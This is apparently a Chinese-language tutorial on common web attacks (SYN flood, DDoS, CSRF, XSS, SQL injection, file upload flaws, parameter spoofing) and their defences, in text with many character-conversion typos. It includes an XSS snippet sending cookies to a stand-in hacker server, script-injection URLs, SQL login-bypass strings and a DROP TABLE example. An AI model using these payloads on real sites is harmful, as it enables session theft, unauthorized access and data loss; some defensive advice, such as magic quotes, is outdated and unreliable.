Web安全知多少

隨着Web2.0、網絡社交等一系列新型的互聯網產品的誕生，基於Web環境的互聯網應用愈來愈普遍，企業信息化的過程當中，愈來愈多的應用都架設在Web平臺上。Web業務的迅速發展吸引了黑客們的強烈關注，接踵而至的就是Web安全威脅的凸顯。黑客利用網站操做系統的漏洞和Web服務程序的SQL注入漏洞等獲得Web服務器的控制權限，輕則篡改網頁內容，重則竊取重要內部數據，更爲嚴重的則是在網頁中植入惡意代碼，使得網站訪問者受到侵害。這使得愈來愈多的用戶關注應用層的安全問題，Web應用安全的關注度也逐漸升溫。

本文從目前比較常見攻擊方式入手，對過去一些經典方式進行學習和總結，但願能讓你們對Web的安全有更清晰的認識。在閱讀本文以前，小夥伴們須要對HTTP和TCP協議、SQL數據庫、JavaScript有所瞭解哦。
廢話很少說，下面開始咱們的Web安全之旅吧！
DoS和DDoS攻擊
DoS(Denial of Service)，即拒絕服務，形成遠程服務器拒絕服務的行爲被稱爲DoS攻擊。其目的是使計算機或網絡沒法提供正常的服務。最多見的DoS攻擊有計算機網絡帶寬攻擊和連通性攻擊。
爲了進一步認識DoS攻擊，下面舉個簡單的栗子來進行說明：


圖1 TCP三次握手：數據段互換
Client發送鏈接請求報文，Server接受鏈接後回覆ACK報文，併爲此次鏈接分配資源。Client接收到ACK報文後也向Server發送ACK報文，並分配資源，這樣TCP鏈接就創建了。前兩次握手，是爲了保證服務端能收接受到客戶端的信息並能作出正確的應答；後兩次握手，是爲了保證客戶端可以接收到服務端的信息並能作出正確的應答。創建完TCP三次握手後，Client就能夠和Web服務器進行通訊了。
在DoS攻擊中，攻擊者經過僞造ACK數據包，但願Server重傳某些數據包，Server根據TCP重起色制，進行數據重傳。攻擊者利用TCP協議缺陷，經過發送大量的半鏈接請求，耗費CPU和內存資源。實現方式以下圖：


圖2 攻擊者僞造ACK數據包，發送大量的半鏈接請求
Web服務器在未收到客戶端的確認包時，會重發請求包一直到連接超時，纔將此條目從未鏈接隊列刪除。攻擊者再配合IP欺騙，SYN攻擊會達到很好的效果。一般攻擊者在短期內僞造大量不存在的IP地址，向服務器不斷地發送SYN包，服務器回覆確認包，並等待客戶的確認，因爲源地址是不存在的，服務器須要不斷的重發直至超時，這些僞造的SYN包將長時間佔用未鏈接隊列，正常的SYN 請求被丟棄，目標系統運行緩慢，嚴重者引發網絡堵塞甚至系統癱瘓。
SYN攻擊的問題就出在TCP鏈接的三次握手中，假設一個用戶向服務器發送了SYN報文後忽然死機或掉線，那麼服務器在發出SYN+ACK應答報文後是沒法收到客戶端的ACK報文的，從而致使第三次握手沒法完成。在這種狀況下服務器端通常會重試，即再次發送SYN+ACK給客戶端，並等待一段時間後丟棄這個未完成的鏈接。這段時間的長度咱們稱爲SYN Timeout，通常來講這個時間是分鐘的數量級，大約爲30秒到2分鐘。一個用戶出現異常致使服務器的一個線程等待1分鐘並非什麼很大的問題，但若是有一個惡意的攻擊者大量模擬這種狀況，服務器端將爲了維護一個很是大的半鏈接列表而消耗很是多的資源，即數以萬計的半鏈接，將會對服務器的CPU和內存形成極大的消耗。若服務器的TCP/IP棧不夠強大，最後的結果每每是堆棧溢出崩潰。實際上，就算服務器端的系統足夠強大，服務器端也將忙於處理攻擊者僞造的TCP鏈接請求而無暇理睬客戶的正常請求，致使用戶的正常請求失去響應。
對於該類問題，咱們能夠作以下防範：
第一種是縮短SYN Timeout時間，及時將超時請求丟棄，釋放被佔用CPU和內存資源。
​第二種是限制同時打開的SYN半鏈接數目，關閉沒必要要的服務。
第三種方法是設置SYN Cookie，給每個請求鏈接的IP地址分配一個Cookie。若是短期內連續受到某個IP的重複SYN報文，就認定是受到了攻擊，之後從這個IP地址來的包會被一律丟棄。
通常來講，第三種方法在防範該類問題上表現更佳。同時能夠在Web服務器端採用分佈式組網、負載均衡、提高系統容量等可靠性措施，加強整體服務能力。
DDoS(Distributed Denial of Service，分佈式拒絕服務)是DoS攻擊的一種方法。攻擊指藉助於客戶/服務器技術，將多個計算機聯合起來做爲攻擊平臺，對一個或多個目標發動DDoS攻擊，從而成倍地提升拒絕服務攻擊的威力。阻止合法用戶對正常網絡資源的訪問，從而達成攻擊者不可告人的目的。DDoS的攻擊策略側重於經過不少「殭屍主機」，向受害主機發送大量看似合法的網絡包，從而形成網絡阻塞或服務器資源耗盡而致使拒絕服務。


圖3 DDoS攻擊建立「殭屍主機」的過程
從上圖可知，DDOS是利用一批受控制的殭屍主機向一臺服務器主機發起的攻擊，其攻擊的強度和形成的威脅要比DOS嚴重不少，更具破壞性。
對於DDoS攻擊，咱們能夠作以下防範：
(1) 反欺騙：對數據包的地址及端口的正確性進行驗證，同時進行反向探測。
(2) 協議棧行爲模式分析：每一個數據包類型須要符合RFC規定，這就好像每一個數據包都要有完整規範的着裝，只要不符合規範，就自動識別並將其過濾掉。
(3) 特定應用防禦：非法流量老是有一些特定特徵的，這就比如即使你混進了顧客羣中，但你的行爲仍是會暴露出你的動機，好比老重複問店員同一個問題，老作一樣的動做，這樣你仍然仍是會被發現的。
(4) 帶寬控制：真實的訪問數據過大時，能夠限制其最大輸出的流量，以減小下游網絡系統的壓力。 
CSRF攻擊CSRF(Cross Site Request Forgery)，即跨站請求僞造，是一種常見的Web攻擊，但不少開發者對它很陌生。CSRF也是Web安全中最容易被忽略的一種攻擊。下面先介紹一下CSRF攻擊的原理。


圖4 CSRF攻擊過程的示例圖
受害者用戶登陸網站A，輸入我的信息，在本地保存服務器生成的cookie。攻擊者構建一條惡意連接，例如對受害者在網站A的信息及狀態進行操做，典型的例子就是轉帳。受害者打開了攻擊者構建的網頁B，瀏覽器發出該惡意鏈接的請求，瀏覽器發起會話的過程當中發送本地保存的cookie到網址A，A網站收到cookie，覺得此連接是受害者發出的操做，致使受害者的身份被盜用，完成攻擊者惡意的目的。
舉個簡單的例子來講明下CSRF的危害。用戶登錄某銀行網站，以Get請求的方式完成到另外一銀行的轉帳，如：http://www.mybank.com/Transfer.php?toBankId=11&money=1000。攻擊者可構造另外一危險連接http://www.mybank.com/Transfer.php?toUserId=100&money=1000並把該連接經過必定方式發給受害者用戶。受害者用戶若在瀏覽器打開此連接，會將以前登錄後的cookie信息一塊兒發送給銀行網站，服務器在接收到該請求後，確認cookie信息無誤，會完成改請求操做，形成攻擊行爲完成。攻擊者能夠構造CGI的每個參數，僞造請求。這也是存在CSRF漏洞的最本質緣由。
對於CSRF攻擊，咱們能夠作以下防範：
(1) 驗證碼。應用程序和用戶進行交互過程當中，特別是帳戶交易這種核心步驟，強制用戶輸入驗證碼，才能完成最終請求。在一般狀況下，驗證碼夠很好地遏制CSRF攻擊。
但增長驗證碼下降了用戶的體驗，網站不能給全部的操做都加上驗證碼。因此只能將驗證碼做爲一種輔助手段，在關鍵業務點設置驗證碼。
(2) Referer Check。HTTP Referer是header的一部分，當瀏覽器向web服務器發送請求時，通常會帶上Referer信息告訴服務器是從哪一個頁面連接過來的，服務器籍此能夠得到一些信息用於處理。能夠經過檢查請求的來源來防護CSRF攻擊。正常請求的referer具備必定規律，如在提交表單的referer一定是在該頁面發起的請求。因此經過檢查http包頭referer的值是否是這個頁面，來判斷是否是CSRF攻擊。
但在某些狀況下如從https跳轉到http，瀏覽器處於安全考慮，不會發送referer，服務器就沒法進行check了。若與該網站同域的其餘網站有XSS漏洞，那麼攻擊者能夠在其餘網站注入惡意腳本，受害者進入了此類同域的網址，也會遭受攻擊。出於以上緣由，沒法徹底依賴Referer Check做爲防護CSRF的主要手段。可是能夠經過Referer Check來監控CSRF攻擊的發生。
(3) Anti CSRF Token。目前比較完善的解決方案是加入Anti-CSRF-Token，即發送請求時在HTTP 請求中以參數的形式加入一個隨機產生的token，並在服務器創建一個攔截器來驗證這個token。服務器讀取瀏覽器當前域cookie中這個token值，會進行校驗該請求當中的token和cookie當中的token值是否都存在且相等，才認爲這是合法的請求。不然認爲此次請求是違法的，拒絕該次服務。
這種方法相比Referer檢查要安全不少，token能夠在用戶登錄後產生並放於session或cookie中，而後在每次請求時服務器把token從session或cookie中拿出，與本次請求中的token 進行比對。因爲token的存在，攻擊者沒法再構造出一個完整的URL實施CSRF攻擊。但在處理多個頁面共存問題時，當某個頁面消耗掉token後，其餘頁面的表單保存的仍是被消耗掉的那個token，其餘頁面的表單提交時會出現token錯誤。 
XSS攻擊
XSS(Cross Site Scripting)，跨站腳本攻擊。爲和層疊樣式表(Cascading Style Sheets，CSS)區分開，跨站腳本在安全領域叫作「XSS」。惡意攻擊者往Web頁面裏注入惡意Script代碼，當用戶瀏覽這些網頁時，就會執行其中的惡意代碼，可對用戶進行盜取cookie信息、會話劫持等各類攻擊。XSS是常見的Web攻擊技術之一，因爲跨站腳本漏洞易於出現且利用成本低，因此被OWASP列爲當前的頭號Web安全威脅。


圖5 XSS攻擊過程的示例圖
XSS跨站腳本攻擊自己對Web服務器沒有直接的危害，它藉助網站進行傳播，使網站上大量用戶受到攻擊。攻擊者通常經過留言、電子郵件或其餘途徑向受害者發送一個精心構造的惡意URL，當受害者在Web中打開該URL的時候，惡意腳本會在受害者的計算機上悄悄執行。
根據XSS攻擊的效果，能夠將XSS分爲3類：
(1) 反射型XSS(Non-persistent XSS)，服務器接受客戶端的請求包，不會存儲請求包的內容，只是簡單的把用戶輸入的數據「反射」給瀏覽器。例如：www.a.com?xss.php?name=
<script>alert(document.cookie)</script>。訪問這個連接則會彈出頁面的cookie內容，若攻擊者把alert改成一個精心構造的發送函數，就能夠把用戶的cookie偷走。
(2) 存儲型XSS(Persistent XSS)，這類XSS攻擊會把用戶輸入的數據「存儲」在服務器端，具備很強的穩定性。注入腳本跟反射型XSS大同小異，只是腳本不是經過瀏覽器à服務器à瀏覽器這樣的反射方式，而是多發生在富文本編輯器、日誌、留言、配置系統等數據庫保存用戶輸入內容的業務場景。即用戶的注入腳本保存到了數據庫裏，其餘用戶進行訪問涉及到包含惡意腳本的連接都會中招。因爲這段惡意的腳本被上傳保存到了服務器，這種XSS攻擊就叫作「存儲型XSS」。例如：
服務器端代碼：<?php $db.set(‘name’, $_GET[‘name’]);?>
HTML頁面代碼：<?php echo ‘Hi,’ . $db.get[‘name’];?>


圖6 存儲型XSS攻擊過程的示例圖
(3) DOM based XSS(Document Object Model XSS)，這類XSS攻擊者將攻擊腳本注入到DOM 結構裏。出現該類攻擊的大多緣由是含JavaScrip靜態HTML頁面存在XSS漏洞。例以下面是一段存在DOM類型跨站腳本漏洞的代碼：
<script>document.write(window.location.search); </script>
在JS中window.location.search是指URL中?以後的內容，document.write是將內容輸出到頁面。這時把連接換成http://localhost/test.php?default=<script>alert(document.cookie)</script>
那用戶的cookie就被盜了。上面的例子只是很簡單的一種，總結起來是使用了諸如document.write, innerHTML之類的渲染頁面方法須要注意參數內容是不是可信任的。
XSS攻擊的危害，能夠將XSS分爲3類：
(1) 竊取用戶信息。黑客能夠利用跨站腳本漏洞盜取用戶cookie而獲得用戶在該站點的身份權限。如在DOM樹上新增圖片，用戶點擊後會將當前cookie發送到黑客服務器：
vari=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
(2) 劫持瀏覽器會話來執行惡意操做，如進行非法轉帳、強制發表日誌或電子郵件等。
(3) 強制彈廣告頁，刷流量和點擊率。
(4) 傳播跨站腳本蠕蟲。如著名的Samy (XSS)蠕蟲攻擊、新浪微博蠕蟲攻擊。
對於XSS攻擊，咱們能夠作以下防範：
(1) 輸入過濾。永遠不要相信用戶的輸入，對用戶輸入的數據作必定的過濾。如輸入的數據是否符合預期的格式，好比日期格式，Email格式，電話號碼格式等等。這樣能夠初步對XSS漏洞進行防護。
上面的措施只在web端作了限制，攻擊者通抓包工具如Fiddler仍是能夠繞過前端輸入的限制，修改請求注入攻擊腳本。所以，後臺服務器須要在接收到用戶輸入的數據後，對特殊危險字符進行過濾或者轉義處理，而後再存儲到數據庫中。
(2) 輸出編碼。服務器端輸出到瀏覽器的數據，可使用系統的安全函數來進行編碼或轉義來防範XSS攻擊。在PHP中，有htmlentities()和htmlspecialchars()兩個函數能夠知足安全要求。相應的JavaScript的編碼方式可使用JavascriptEncode。
(3) 安全編碼。開發需儘可能避免Web客戶端文檔重寫、重定向或其餘敏感操做，同時要避免使用客戶端數據，這些操做需儘可能在服務器端使用動態頁面來實現。
(4) HttpOnly Cookie。預防XSS攻擊竊取用戶cookie最有效的防護手段。Web應用程序在設置cookie時，將其屬性設爲HttpOnly，就能夠避免該網頁的cookie被客戶端惡意JavaScript竊取，保護用戶cookie信息。
(5)WAF(Web Application Firewall)，Web應用防火牆，主要的功能是防範諸如網頁木馬、XSS以及CSRF等常見的Web漏洞攻擊。由第三方公司開發，在企業環境中深受歡迎。
SQL注入攻擊
SQL注入(SQL Injection)，應用程序在向後臺數據庫傳遞SQL(Structured Query Language，結構化查詢語言)時，攻擊者將SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。
在瞭解SQL注入前，咱們先認識下經常使用的Web的四層架構圖組成：


圖7 Web四層架構示例圖
SQL注入常見產生的緣由有：
(1) 轉義字符處理不當。特別是輸入驗證和單引號處理不當。用戶簡單的在url頁面輸入一個單引號，就能快速識別Web站點是否易收到SQL注入攻擊。
(2) 後臺查詢語句處理不當。開發者徹底信賴用戶的輸入，未對輸入的字段進行判斷和過濾處理，直接調用用戶輸入字段訪問數據庫。(3) SQL語句被拼接。攻擊者構造精心設計拼接過的SQL語句，來達到惡意的目的。如構造語句：select * from users where userid=123; DROP TABLE users;直接致使user表被刪除。
SQL注入常見的注入方式有：
(1) 內聯SQL注入。向查詢注入一些SQL代碼後，原來的查詢仍然會所有執行。內聯SQL注入包含字符串內聯SQL注入和數字內聯SQL注入。注入方式以下圖：


圖8 內聯SQL注入示例圖
攻擊者將精心構造的字符串或數字輸入插入到SQL語句中，例如以下的用戶登錄頁面：


圖9 有SQL注入風險的用戶登錄示例圖
(a) 攻擊者可在username字段中注入 ' or '1'='1' or '1'='1，password保持爲空：
SELECT * FROM login_tbl WHERE username = ' ' or '1'='1' or '1'='1' AND userpwd= ' '
這樣SQL語句查詢語句恆爲真，服務器會返回login_tbl表裏的所有帳戶名和密碼。
(b) 攻擊者可在password字段，輸入' or '1'='1：
SELECT * FROM login_tbl WHERE username = ' ' AND userpwd= ' ' or '1'='1 '
這樣SQL語句查詢語句恆爲真，服務器會返回login_tbl表裏的所有帳戶名和密碼。
(c) 攻擊者可在username字段中注入 admin' and 1=1 or '1'='1：
SELECT * FROM login_tbl WHERE username = 'admin' and '1'='1' or '1'='1' AND userpwd= ' '
這樣構造的SQL語句，服務器會返回admin用戶登錄。
常見的字符串內聯注入的特徵值以下：


圖10 字符串內聯注入的特徵值
常見的數字值內聯注入的特徵值以下：


圖11 數字值內聯注入的特徵值
(2) 終止式SQL注入。攻擊者在注入SQL代碼時，經過註釋剩下的查詢來成功結束該語句。注入方式以下圖：


圖12 終止式SQL注入示例圖
攻擊者將精心構造的字符串或數字輸入插入到SQL語句中，例如圖9的用戶登錄頁面：
(a) 攻擊者可在username字段中注入 ' or 1=1; --，password保持爲空：
SELECT username, userpwd FROM login_tbl WHERE username='' or 1=1; -- ' and userpwd=''
這樣SQL語句查詢語句恆爲真，服務器會返回login_tbl表裏的所有帳戶名和密碼。
(b) 攻擊者可在username字段中注入 admin'  --，或者admin'  #，password保持爲空：
SELECT username, userpwd FROM login_tbl WHERE username='admin' --' and userpwd=''
SELECT username, userpwd FROM login_tbl WHERE username='admin' #' and userpwd=''
這樣構造的SQL語句，服務器會返回admin用戶登錄。
(c) 攻擊者可在username字段中注入 admin' /*，password輸入*/'：
SELECT username, userpwd FROM login_tbl WHERE username='admin' /*' and userpwd='*/''
這樣構造的SQL語句，服務器會返回admin用戶登錄。
常見的終止式SQL注入的特徵值以下：


圖13 終止式SQL注入的特徵值
對於SQL注入攻擊，咱們能夠作以下防範：
(1) 防止系統敏感信息泄露。設置php.ini選項display_errors=off，防止php腳本出錯以後，在web頁面輸出敏感信息錯誤，讓攻擊者有隙可乘。
(2) 數據轉義。設置php.ini選項magic_quotes_gpc=on，它會將提交的變量中全部的’(單引號)，」(雙引號)，\(反斜槓)，空白字符等都在前面自動加上\。或者採用mysql_real_escape()函數或addslashes()函數進行輸入參數的轉義。
(3) 增長黑名單或者白名單驗證。白名單驗證通常指，檢查用戶輸入是不是符合預期的類型、長度、數值範圍或者其餘格式標準。黑名單驗證是指，若在用戶輸入中，包含明顯的惡意內容則拒絕該條用戶請求。在使用白名單驗證時，通常會配合黑名單驗證。 
文件上傳漏洞
上傳漏洞在DVBBS6.0時代被黑客們利用的最爲猖獗，利用上傳漏洞能夠直接獲得WEBSHELL，危害等級超級高，如今的入侵中上傳漏洞也是常見的漏洞。該漏洞容許用戶上傳任意文件可能會讓攻擊者注入危險內容或惡意代碼，並在服務器上運行。
文件上傳漏洞的原理：因爲文件上傳功能實現代碼沒有嚴格限制用戶上傳的文件後綴以及文件類型，致使容許攻擊者向某個可經過 Web 訪問的目錄上傳任意PHP文件，並可以將這些文件傳遞給 PHP 解釋器，就能夠在遠程服務器上執行任意PHP腳本。
對於文件上傳漏洞攻擊，咱們能夠作以下防範：
(1)檢查服務器是否判斷了上傳文件類型及後綴。
(2) 定義上傳文件類型白名單，即只容許白名單裏面類型的文件上傳。
(3) 文件上傳目錄禁止執行腳本解析，避免攻擊者進行二次攻擊。 
Info漏洞
Info漏洞就是CGI把輸入的參數原樣輸出到頁面，攻擊者經過修改輸入參數而達到欺騙用戶的目的。相似於以下的連接：

圖14 Info漏洞示例原始圖
咱們將「神龜亂鬥」，改成「哈哈哈哈」，頁面上就獲得了體現：

圖15 Info漏洞示例攻擊圖
Info漏洞存在的3個主要緣由有：
1）CGI參數能夠在頁面顯示。
2）返回的頁面具備很強的欺騙性。
3）該頁面是對全部用戶是公開，可訪問的。
Info漏洞的主要危害在於，若在訪問量較大的公開頁面，如網購、微博或新聞網站，發佈反動的政治言論或其餘色情詞彙等。一方面會影響用戶對網購業務的信心，同時也會給網站帶來一些政治風險。另外，如果發佈欺騙信息，如中獎、彩票等，也會對一些用戶形成財產損失。
對於Info漏洞攻擊，將爲常見的就是創建髒詞庫。
即對於曬單，評論，暱稱等能夠被其餘用戶訪問到的地方，進行髒詞過濾。對用戶的輸入詞彙，與髒詞庫中的詞彙進行匹配，過濾掉有與髒詞庫相同的詞彙。對於一些面向用戶本身的，而其餘用戶不能看到的頁面。能夠不對其作髒詞處理。 
介紹就到這裏啦，咱們一塊兒來作個總結吧：Web安全是咱們必須關注且沒法逃避的話題，本文介紹了一些比較典型的安全問題和應對方案。例如對於SQL，XSS等注入式攻擊，咱們必定要對用戶輸入的內容進行嚴格的過濾和審查，這樣能夠避免絕大多數的注入式攻擊方式。對於DoS攻擊咱們就須要使用各類工具和配置來減輕危害，另外容易被DDoS攻擊的還有HTTPS服務，咱們要作好特定的應用防禦和用戶行爲模式分析。因此在平常的開發和測試過程當中，咱們要時常提醒本身，寫出的代碼有沒有可能被人攻擊？或者思考若我是一個攻擊者，我該怎麼作才能夠達到個人攻擊效果呢？只有這樣知己知彼後，方可百戰百勝！